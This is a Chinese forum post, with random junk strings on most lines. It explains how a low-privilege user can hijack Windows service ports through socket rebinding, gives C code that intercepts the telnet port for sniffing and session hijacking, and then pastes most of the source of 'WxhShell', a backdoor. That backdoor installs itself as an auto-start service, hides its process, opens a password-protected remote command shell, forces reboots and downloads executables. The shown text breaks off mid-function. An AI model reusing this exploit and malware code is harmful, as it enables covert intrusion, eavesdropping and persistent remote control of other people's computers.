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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cvV?V\1f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zg Y*|{4Sl  
0/P-> n~  
  saddr.sin_family = AF_INET; bC4* w O  
|@L &yg,x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @52=3  
_Kl{50}]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ky9No"o  
_HHJw""j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aQ&8fteFR  
PP[)h,ZL*  
  这意味着什么?意味着可以进行如下的攻击: ";?C4%L  
aRO_,n9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )-?uX.E{  
JNM@Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "o#)vA`  
>c y.]uB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h/0-Mrk;e  
6 ,pZRc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b8{h[YJL2  
$:u7Dv}\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aEFe!_QY  
_/%]:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U??f<  
3w^J"O/T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kk_9G -M  
$, &g AU  
  #include Q0q)n=i }]  
  #include ??zABV  
  #include K!- &Zv  
  #include    dy6F+V\DG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7Ysy\gZ&wp  
  int main() RZ)vU'@kx  
  { ^tg6JB;s  
  WORD wVersionRequested; 0(U3~ k6  
  DWORD ret; iZ.&q 6  
  WSADATA wsaData; ttbQergS  
  BOOL val; 34m']n  
  SOCKADDR_IN saddr; [Z5}2gB&  
  SOCKADDR_IN scaddr; zN)|g  
  int err; APQQ:'>N4~  
  SOCKET s; U8WHE=Kk\h  
  SOCKET sc; cEdz;kbUM  
  int caddsize; Ic{'H2~4,  
  HANDLE mt; N1+4bR  
  DWORD tid;   Mdltzy=)L  
  wVersionRequested = MAKEWORD( 2, 2 ); d)hzi  
  err = WSAStartup( wVersionRequested, &wsaData ); qtdxMX]iR  
  if ( err != 0 ) { vA2,&%jw  
  printf("error!WSAStartup failed!\n"); >Oi2gPA  
  return -1; jsqUMy-  
  } ek(kY6x:  
  saddr.sin_family = AF_INET; RQ*|+ ~H  
   [TbG55  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VM<oUKh_3  
XMeL^|D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DX&lBV  
  saddr.sin_port = htons(23); p-Rm,xyL%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `b^#quz  
  { iJdrY 6qd  
  printf("error!socket failed!\n"); ~.4W,QLuD  
  return -1; \sHy.{  
  } 7}#*3*]  
  val = TRUE; B{OW}D$P#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >ggk>s|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %2Xus9;k#  
  { t-eKruj+  
  printf("error!setsockopt failed!\n"); MAwC\7n+X  
  return -1; [U%ym{be ^  
  } !!-}ttFA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QLF,/"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eN<>#: `  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0.J1!RIK/  
kO..~@ aY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W2F +^  
  { qEK4I}Q-=  
  ret=GetLastError(); WIEx '{  
  printf("error!bind failed!\n"); k\+y4F8$x  
  return -1; ]HJ{dcF  
  } gJFR1  
  listen(s,2); TdNuD V  
  while(1) zJnL<Q  
  { 5T$9'5V7  
  caddsize = sizeof(scaddr); %jbJ6c  
  //接受连接请求 2d5}`>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TZ&4  
  if(sc!=INVALID_SOCKET) pW*{Mx  
  { xecieC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r3+<r<gs  
  if(mt==NULL) y+ 6`| h_  
  { !q~X*ZKse  
  printf("Thread Creat Failed!\n"); AkYupP2]v  
  break; w|!YoMk+o  
  } g:3d<CS  
  } TRs[~K)n  
  CloseHandle(mt); $'A4RVVT  
  } rQu  
  closesocket(s); '2Q.~6   
  WSACleanup(); u#a%(  
  return 0; =F'l's^j  
  }   4c5^7";P  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7af?E)}v  
  { XPHQAo[(s  
  SOCKET ss = (SOCKET)lpParam; rmY,v  
  SOCKET sc; 7>nhIp))  
  unsigned char buf[4096]; .DgoOo%?"  
  SOCKADDR_IN saddr; NqiB8hZ~  
  long num; 8 *4@-3Sx  
  DWORD val; MuDFdbtR  
  DWORD ret; Q  `e~MD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uI%N?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /#-,R,Q  
  saddr.sin_family = AF_INET; y;,=a jrF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (w5u*hx  
  saddr.sin_port = htons(23); {c v;w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K(-G: |  
  { mV6#!_"  
  printf("error!socket failed!\n"); 33=Mm/<m$P  
  return -1;  =3h+=l[  
  } ?ada>"~GR_  
  val = 100; =]=B}L `  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @IEI%vH  
  { Zij"/gx\  
  ret = GetLastError(); IV)^;i  
  return -1; I#i?**  
  } D3<IuWeM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hfh@<'NL]  
  { 2-B6IPeI  
  ret = GetLastError(); R'S c  
  return -1; [:AB$l*  
  } [Z#+gh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pBlRd{#fL  
  { |?\gEY-Se  
  printf("error!socket connect failed!\n"); ?wGiog<Q{  
  closesocket(sc); pp/#Am  
  closesocket(ss); xCR; K]!  
  return -1; L@7Qs6G2u  
  } l'|E,N>X  
  while(1) hNH.G(l0  
  { }*?yHJ3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4st~3,lR$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1Z\(:ab13  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +n@f'a">  
  num = recv(ss,buf,4096,0); Zw2jezP@t  
  if(num>0) PPUEkvH W  
  send(sc,buf,num,0); KjO-0VMN3  
  else if(num==0) zx ct(  
  break; /m97CC#+  
  num = recv(sc,buf,4096,0); MB1sQReOO  
  if(num>0) v2IEJ  
  send(ss,buf,num,0); }$^]dn@  
  else if(num==0) $8jaapNm@  
  break; 5i^`vmK  
  } +c-6#7hh  
  closesocket(ss); :lgHL3yl  
  closesocket(sc); pI  &o?n  
  return 0 ; EY So=  
  } Kp8fh-4_  
@/9>=#4c  
U$A/bEhw  
========================================================== Po1hq2-U8  
7 n\mj\  
下边附上一个代码,,WXhSHELL )X7e$<SU*  
$"/UK3|d  
========================================================== ojX%RU  
3voW  
#include "stdafx.h" g4Y) Bz  
Tj Mb>w9  
#include <stdio.h> xM% pvx.'L  
#include <string.h> ldK>HxM%Z  
#include <windows.h> s\6N }[s  
#include <winsock2.h> 3 sl=>;-  
#include <winsvc.h> v5B" A"N  
#include <urlmon.h> Dh2#$[/@1  
 wjL|Z8  
#pragma comment (lib, "Ws2_32.lib") -RGPt D@  
#pragma comment (lib, "urlmon.lib") /CH(!\bQ  
"<qEXX  
#define MAX_USER   100 // 最大客户端连接数 tL1P<1j_  
#define BUF_SOCK   200 // sock buffer 5bXHz5i  
#define KEY_BUFF   255 // 输入 buffer Gv;;!sZ  
aQga3;S!  
#define REBOOT     0   // 重启 4ffU;6~l'  
#define SHUTDOWN   1   // 关机 Hc M~  
&D]&UQf  
#define DEF_PORT   5000 // 监听端口 Sobtz}A*  
:"VujvFX  
#define REG_LEN     16   // 注册表键长度 sA3UeTf  
#define SVC_LEN     80   // NT服务名长度 yji>*XG  
 '6O|H  
// 从dll定义API "@4ghot t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 21 ViHV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8[oYZrg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #Gd7M3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l^ARW E  
l nfm0  
// wxhshell配置信息 i=-8@  
struct WSCFG { sllzno2bU  
  int ws_port;         // 监听端口 A])OPqP{  
  char ws_passstr[REG_LEN]; // 口令 3I]Fdp)'  
  int ws_autoins;       // 安装标记, 1=yes 0=no wDMjk2 YN  
  char ws_regname[REG_LEN]; // 注册表键名 wra byRjK  
  char ws_svcname[REG_LEN]; // 服务名 xkM] J)C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3524m#4&@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x )3~il5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;@9e\!%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9^au$KoU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {M [~E|@D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hng!'  
|:N>8%@6c  
}; l0Y?v 4  
1+a@k  
// default Wxhshell configuration |0kXCq  
struct WSCFG wscfg={DEF_PORT, %kq ^]S2O  
    "xuhuanlingzhe", 0vn[a,W<A  
    1, MQJ%He"  
    "Wxhshell", ck$M(^)l  
    "Wxhshell", ;gUXvx~~r  
            "WxhShell Service", VRF6g|0;  
    "Wrsky Windows CmdShell Service", N 'i,>  
    "Please Input Your Password: ", -TTs.O8P|<  
  1, HxZ.OZbR  
  "http://www.wrsky.com/wxhshell.exe", lufeieW  
  "Wxhshell.exe" ;%W dvnW  
    }; ] IS;\~  
(N0sE"_~I5  
// 消息定义模块 84^[/d;!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3 z=\ .R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \_ 9rr6^ "  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nv)))I\  
char *msg_ws_ext="\n\rExit."; 4jGLAor|  
char *msg_ws_end="\n\rQuit."; H2U:@.o2&  
char *msg_ws_boot="\n\rReboot..."; ,#d[ad<  
char *msg_ws_poff="\n\rShutdown..."; ybE[B}pOeZ  
char *msg_ws_down="\n\rSave to "; t8/%D gu  
nvt$F%+  
char *msg_ws_err="\n\rErr!"; ^)0 9OV+hF  
char *msg_ws_ok="\n\rOK!"; Xpl?g=B&u  
,Kw5Ro`I:  
char ExeFile[MAX_PATH]; OJpj}R  
int nUser = 0; L M /Ga  
HANDLE handles[MAX_USER]; iP#=:HZu;  
int OsIsNt; 'I v_mig  
kiX%3(  
SERVICE_STATUS       serviceStatus; W5Zqgsy($F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %i"}x/CD[  
5g>wV  
// 函数声明 u-szt ?O|  
int Install(void); H\#:,s{1  
int Uninstall(void); 0x~`5h  
int DownloadFile(char *sURL, SOCKET wsh); /2XW  
int Boot(int flag); k':s =IXW  
void HideProc(void); k.GA8=]>  
int GetOsVer(void); utH%y\NMF|  
int Wxhshell(SOCKET wsl); "Pj}E=!k  
void TalkWithClient(void *cs); ,Sg33N ?  
int CmdShell(SOCKET sock); X#ZgS!Mn  
int StartFromService(void); V`bs&5#Sx  
int StartWxhshell(LPSTR lpCmdLine); !re1EL  
 D:JS)+]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3sbK7,4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'N6 S}w7  
bfdVED  
// 数据结构和表定义 7&+Ys  
SERVICE_TABLE_ENTRY DispatchTable[] = O('Nn]wo~9  
{ HnU Et/  
{wscfg.ws_svcname, NTServiceMain}, d~Mg vh'  
{NULL, NULL} EB,4PEe:  
}; J@]k%h  
CVQB"L  
// 自我安装 E\$C/}T  
int Install(void) <3Gqv9Y&  
{ 8\# ^k#X  
  char svExeFile[MAX_PATH]; ipjkZG@  
  HKEY key; ]tY:,Mfs  
  strcpy(svExeFile,ExeFile); Wi$dZOcSJ  
O+"ac /r  
// 如果是win9x系统,修改注册表设为自启动 SaO3 zz@L  
if(!OsIsNt) { E FY@Y[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kg>>D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1mH\k5xu  
  RegCloseKey(key); o~1 Kp!U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Phs-(3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f$F*3  
  RegCloseKey(key); Fn+ ?u  
  return 0; >|*yh~  
    } f/y`  
  } +iA=y=;blH  
} z-,VnhLx  
else { | vu>;*K  
>EP(~G3u  
// 如果是NT以上系统,安装为系统服务 BX< dSK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xs!p|  
if (schSCManager!=0) s 3r=mp{  
{ OYmi?y\  
  SC_HANDLE schService = CreateService RU&_j* U  
  ( jd:B \%#![  
  schSCManager, W?z#pV+jt  
  wscfg.ws_svcname, ao$.6X8fQ  
  wscfg.ws_svcdisp, UtJa3ya  
  SERVICE_ALL_ACCESS, (OmH~lSO.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r;m`9,RW  
  SERVICE_AUTO_START, 2Z/K(J"&J  
  SERVICE_ERROR_NORMAL, kWW w<cA  
  svExeFile, UVEz;<5@\  
  NULL, \x+3f  
  NULL, ;>"nn VW  
  NULL, M1!pQC_9  
  NULL, 1*Ar{:+ua  
  NULL (^n*Am;zlH  
  ); e3m*i}K}  
  if (schService!=0) uk7'K 0j  
  { '&yeQ   
  CloseServiceHandle(schService); =? :@  
  CloseServiceHandle(schSCManager); HeA{3s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); glUo7^ay7  
  strcat(svExeFile,wscfg.ws_svcname); ]}PV"|#K{c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g,kzQ}_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #"f' 7'TE  
  RegCloseKey(key); kB P*K  
  return 0; tE"Si<[]H$  
    } G/?~\ }:s  
  } 5VE2@Fn}  
  CloseServiceHandle(schSCManager); .v\\Tq&"|  
} jC, FG'P  
} <4`eQ  
)TmtSSS  
return 1; '0t-]NAc  
} AuiFbRFi  
0 P|&Pq&IH  
// 自我卸载 O'DW5hBL0  
int Uninstall(void) ^TFs;|..  
{ Ru\_dr2yI}  
  HKEY key; L;6.r3bL  
E]} n(  
if(!OsIsNt) { l{WjDed  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yL1bS|@  
  RegDeleteValue(key,wscfg.ws_regname); XcfKx@l  
  RegCloseKey(key); NgZUnh3{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Cr/RG:OX  
  RegDeleteValue(key,wscfg.ws_regname); 0pgY1i7  
  RegCloseKey(key); 4)1;0,tlG  
  return 0; .[s2zI  
  } #-# NqX:  
} *nTU# U  
} % _M2N.n  
else { Q<"[C 1Lj  
ANMg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [rY T  
if (schSCManager!=0) XvGA|Ekf<  
{ uB.-t^@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >_ \<E!j  
  if (schService!=0) Q(@IK&v  
  { " Ar*QJ0]  
  if(DeleteService(schService)!=0) { [`_io>*g  
  CloseServiceHandle(schService); P=8>c'Q  
  CloseServiceHandle(schSCManager);  _^t-9  
  return 0; H AB#pd9  
  } F # YPOH  
  CloseServiceHandle(schService); mZvG|P$}  
  } RMXzU  
  CloseServiceHandle(schSCManager); }IkQA#4$  
} )R)a@op  
} S"2qJ!.u  
dZ(|uC!?  
return 1; A.%CAGU5w  
} d^D i*&X  
~,gXaw  
// 从指定url下载文件 5\4g>5PD  
int DownloadFile(char *sURL, SOCKET wsh) >yK0iK{  
{ -8Ti*:  
  HRESULT hr; E l&h;N   
char seps[]= "/"; zY9 H%  
char *token; lPP,`  
char *file; b=PVIZ  
char myURL[MAX_PATH]; -=}3j&,\R  
char myFILE[MAX_PATH]; 9@VO+E$7L  
fP-|+Ty O  
strcpy(myURL,sURL); w7kJg'X/6  
  token=strtok(myURL,seps); NeOxpn[  
  while(token!=NULL) I4_d[O9  
  { LLAa1Wq  
    file=token; t-e5ld~a  
  token=strtok(NULL,seps); 3`V1XE.;  
  } c| ~6Ie  
yX/";Oe  
GetCurrentDirectory(MAX_PATH,myFILE); v90T{1+M|4  
strcat(myFILE, "\\"); }=}>9DS M  
strcat(myFILE, file); h 8 @  
  send(wsh,myFILE,strlen(myFILE),0); kJK,6mN  
send(wsh,"...",3,0); SAv<&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JiS5um=(.  
  if(hr==S_OK) *TdnB'Gd  
return 0; =P77"Dd  
else QBJ3iQs1  
return 1; [IBQvL  
!fkep=  
} 3 /6/G}s  
mj,fp2D;%  
// 系统电源模块 Yxd X#3  
int Boot(int flag) f|7u_f  
{ )9nElb2  
  HANDLE hToken; qCMl!g'  
  TOKEN_PRIVILEGES tkp; ./-JbW  
hZ\+FOx;  
  if(OsIsNt) { '_0]vupvY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wo^Sy41bF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s4= "kT]  
    tkp.PrivilegeCount = 1; ,w)p"[^b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; in%;Eqk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X=X\F@V:u  
if(flag==REBOOT) { c@m5 ~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vP-M,4c  
  return 0; Pt< s* (  
} &~DTZg Y  
else { HRa@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]rBM5~  
  return 0; q!,zq  
} tx7~S Ur  
  } y6HuN  
  else { `(4pu6uT  
if(flag==REBOOT) { uZ6d35MJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :Og:v#r8=  
  return 0; -\$`i c$"1  
} |01?w|  
else { =v6*|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {y^3> 7  
  return 0; _Tm0x>EM  
} Yn51U6_S  
} 3NK ^AaTK  
:K.4n  
return 1; Tp%(I"H'_;  
} =H]F`[B=  
+*nGp5=^GE  
// win9x进程隐藏模块  Fl3#D7K  
void HideProc(void) -"Q-H/qh  
{ -?6MU~"GK  
l&$$w!n0w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iWLa>z|,  
  if ( hKernel != NULL ) T*~H m  
  { pFsc}R/0/8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1mH%H*#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y[Ltrk{  
    FreeLibrary(hKernel); s%pfkoOY%  
  } 2+o |A  
1tMQqI`N  
return; U__(; /1;  
} Ad$n4Ze  
xSK~s  
// 获取操作系统版本 p?X02 >yA  
int GetOsVer(void) x9W(cKB'S  
{ v4Ga0]VN$8  
  OSVERSIONINFO winfo; ILwn&[A0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {HOy_Fiih  
  GetVersionEx(&winfo); j' 0r'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^pnG0(9  
  return 1; N_Akmh0D  
  else m-/j1GZ*  
  return 0; %\$;(#h  
} *&Lq!rFS  
BV`-=wRC  
// 客户端句柄模块 $2~\eG=u H  
int Wxhshell(SOCKET wsl) !T,AdNa8  
{ JUAS$Y  
  SOCKET wsh; }MbH3ufC  
  struct sockaddr_in client; fV:4#j  
  DWORD myID; MZJ]Dwt]  
8qEK+yi,  
  while(nUser<MAX_USER) cLY c6  
{ A'&n5)tb  
  int nSize=sizeof(client); ;Lm=dd@S:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]iNEw9  
  if(wsh==INVALID_SOCKET) return 1; K+=+?~  
)~6zYJ2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WY:&ugGx  
if(handles[nUser]==0) R%D'`*+  
  closesocket(wsh); &k7;DO  
else eM7Bc4V  
  nUser++; s@hRqGd:  
  } ] b9-k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ^YdcAHjK  
C[!MS5  
  return 0; Mb1t:Xf^g  
} xM[Vc  
wa=uUM_4u^  
// 关闭 socket "1`Oh<={b  
void CloseIt(SOCKET wsh) r|e-<t4.9L  
{ 0 [?ny`Y  
closesocket(wsh); u]+~VT1C,3  
nUser--; wkqX^i7ls  
ExitThread(0); klgy;jSEr  
} %1 vsN-O}8  
h:zK(;  
// 客户端请求句柄 p[lNy{u~M  
void TalkWithClient(void *cs) \#-W <  
{ h7*W *Bd  
,#d? _?/:O  
  SOCKET wsh=(SOCKET)cs; zk*c)s  
  char pwd[SVC_LEN]; mkh"Kb*{  
  char cmd[KEY_BUFF]; R" )bDy?  
char chr[1]; +YLejjQ  
int i,j; 3kcTE&1^  
g,o?q:FL  
  while (nUser < MAX_USER) { .h&k jD  
yme^b ;a  
if(wscfg.ws_passstr) { 0;4t&v7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A1P K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Uw,2}yR  
  //ZeroMemory(pwd,KEY_BUFF); o&AM2U/?  
      i=0; G7--v,R1x  
  while(i<SVC_LEN) { X|0R= n]  
{~|OE -X][  
  // 设置超时 #P]#9Ty:  
  fd_set FdRead; \Y6WSj?E  
  struct timeval TimeOut; M?b6'd9f  
  FD_ZERO(&FdRead); +aF}oA&X[  
  FD_SET(wsh,&FdRead); uZfnzd)c  
  TimeOut.tv_sec=8; Q#h 9n]5  
  TimeOut.tv_usec=0; )X9W y!w0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [aI]y =v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pwwH<0[  
r]3'74j:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &E xYXI  
  pwd=chr[0]; H$G0`LP0/a  
  if(chr[0]==0xd || chr[0]==0xa) { V[-jD8=' 3  
  pwd=0; [=B$5%A  
  break; p.+ho~sC,.  
  } yV_4?nh  
  i++; p!k7C&]E  
    } |6=p{ y  
[mEql,x3  
  // 如果是非法用户,关闭 socket 7j nIv];i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); moP,B~  
} CPg+f1K  
WTImRXK4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "#(T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %QKZT=}  
*tm0R>?!  
while(1) { 1x,[6H  
o9cM{ya/>  
  ZeroMemory(cmd,KEY_BUFF); G$ _yy:  
u7?$b!hG^C  
      // 自动支持客户端 telnet标准   It2" x;  
  j=0; <SI}lQ'i  
  while(j<KEY_BUFF) { f!O{%ev  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v3v[[96p  
  cmd[j]=chr[0]; | 9~GM  
  if(chr[0]==0xa || chr[0]==0xd) { F(t=!k,4\  
  cmd[j]=0; r}uz7}z %"  
  break; JyR/1 W  
  } pABs!A`N  
  j++; BD`2l!d  
    } L%>n>w  
"M|zv  
  // 下载文件 Bz5-ITX   
  if(strstr(cmd,"http://")) { `7/Y@}n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $.9{if#o&  
  if(DownloadFile(cmd,wsh)) 0P\$ 2lk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); detwa}h[0  
  else Qg6 W5Hc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L#vI=GpL,r  
  } s}N#n(  
  else { pZtu&R%GU  
H,N)4;F<c  
    switch(cmd[0]) { i;!H!-sM  
  vDH>H^9Y  
  // 帮助 'uq#ai[5I  
  case '?': { eds26(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R'S0 zp6  
    break; i\W/C  
  } MNSbtT*^  
  // 安装 u%.$BD Hg  
  case 'i': { <!pY$  
    if(Install()) J/}:x;Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sJ]taY ou  
    else e^ v.)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^5=B`aich  
    break; 2 !'A:;  
    } <vXGi  
  // 卸载 )c8j}  
  case 'r': { :]J Ye*  
    if(Uninstall()) :>+s0~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b, :QT~g=  
    else q7"7U=W0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }[M`uZ  
    break; n5{Xj:}  
    } -YsLd 9^4  
  // 显示 wxhshell 所在路径 'Y]mOD^ p  
  case 'p': { tO0!5#-VR  
    char svExeFile[MAX_PATH]; +zy=50,   
    strcpy(svExeFile,"\n\r"); C:Hoq(  
      strcat(svExeFile,ExeFile); y~75r\"R  
        send(wsh,svExeFile,strlen(svExeFile),0); QcgfBsv96  
    break; H/Llj.-jg  
    } %Qj;,#z  
  // 重启 4Z/f@ZD  
  case 'b': { Sv  &[f}S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [o?* "c  
    if(Boot(REBOOT)) 6H'HxB4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5|1 T}Z#;  
    else { X,LD   
    closesocket(wsh); IKi5 v~bE  
    ExitThread(0); JJ%ePgWT  
    } Dq)j:f#QM  
    break; A\#iXOd  
    } a<@N-Exr  
  // 关机 zD<or&6  
  case 'd': { f4BnX(1u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qci4J  
    if(Boot(SHUTDOWN)) kcQ'$<Mz<  
